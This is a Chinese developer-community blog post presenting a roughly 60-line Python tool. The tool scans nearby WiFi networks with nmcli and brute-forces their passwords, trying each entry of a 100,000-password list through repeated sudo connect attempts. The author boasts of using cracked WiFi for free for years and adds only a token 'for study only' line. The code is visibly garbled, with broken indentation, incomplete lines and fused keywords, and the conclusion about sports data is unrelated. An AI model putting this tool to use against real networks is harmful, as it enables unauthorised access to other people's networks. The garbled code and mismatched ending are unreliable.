前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >我用60行python代码破解了WiFi密码

我用60行python代码破解了WiFi密码

原创
作者头像
程序员鑫港
发布2021-12-20 15:37:21
4.2K0
发布2021-12-20 15:37:21
举报
文章被收录于专栏:python12python12

我用60行Python代码,破解了WiFi密码,然后买了个路由器进行一下**桥接**放大信号,就这样,已经免费用了很多年了....

今天,就来给大家介绍一下实现过程,**本文仅供学习**。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

首先导入需要的模块:

class="highlight">

代码语言:javascript
复制
python">import argparse
import os
from ssid import start
import urllib.request
import sys
import time

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets:

class="highlight">

代码语言:javascript
复制
def display_targets(networks, security_type):
 print("Select a target: \n")

    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
     width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+
     spacer = " "

     if (int(columns) >= 100):
         calc = int((int(columns)-int(width))*0.75)
    else:
         calc = int(columns)-int(width)

    for index in range(calc):
         spacer += "."
         if index == (calc-1):
         
     print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid模块,用来获取附近的WiFi列表,存入到参数networks。

代码语言:javascript
复制
# ssid.py
import subprocess

def start(code):
          r = subprocess.run(["nmcli", "-f", "SSID","dev", "wifi"], capture_output=True,text=True).stdout
          grep = r.split("\n")

          s = subprocess.run(["nmcli","-f", "SECURITY", "dev", "wifi"], capture_output=True, text=True).stdout
          grep_s = s.split("\n")

          networks = [k.strip() for k in grep if (k.strip() != "SSID") and (k.strip() != "--") and (k.strip() != "")]
          net_type = [k.strip() for k in grep_s if (k.strip() != "SECURITY") and (k.strip() != "")]

          ssid = []
          security = []
          
          for i in range(len(networks)):
                  if networks[i] not in ssid:
                          ssid.append(networks[i])
                          security.append(net_type[i])
 
          if (code == 0):
                   print(ssid)
           print(security)
          else:
                   return [ssid, security]

if __name__ == "__main__":
           start(0)

## **2. 选择WiFi**

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

这里很简单,就是一些通用的Python功能。

## **3. 暴力破解**

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:**暴力破解**。

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

代码语言:javascript
复制
def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                 decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)
             creds = os.popen("sudo nmcli dev wifi connect " +
                 selected_network+" password "+decoded_line).read()
                
          # print(creds)

          if ("Error:"in creds.strip()):
             if args.verbose isTrue:
                 xprint(bcolors.FAIL+"** TESTING **: password '" +
                    decoded_line+"' failed."+bcolors.ENDC)
          else:
              sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                  decoded_line+"' succeeded."+bcolors.ENDC)
     else:
          if args.verbose isTrue:
              print(bcolors.OKCYAN+"** TESTING **: password '" +
                  decoded_line+"' too short, passing."+bcolors.ENDC)
                  
  print(bcolors.FAIL+"** RESULTS **:All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了**60行**Python代码!

下面就把它们串联在一起:

代码语言:javascript
复制
def main():
    require_root()
     args = argument_parser()

     # The user chose to supplied their own url
     if args.url isnotNone:
         passwords = fetch_password_from_url(args.url)
     # user elect to read passwords form a file
      elif args.file isnotNone:
          file = open(args.file, "r")
          passwords = file.readlines()
          ifnot passwords:
             print("Password file cannot be empty!")
             exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
       passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]

    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

  display_targets(networks, security_type)
  max = len(networks)
  pick = prompt_for_target_choice(max)
  target = networks[pick]

  print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

  brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

- 红色:测试失败

- 绿色:破解成功

- 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. WiFi列表
    • 结语
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档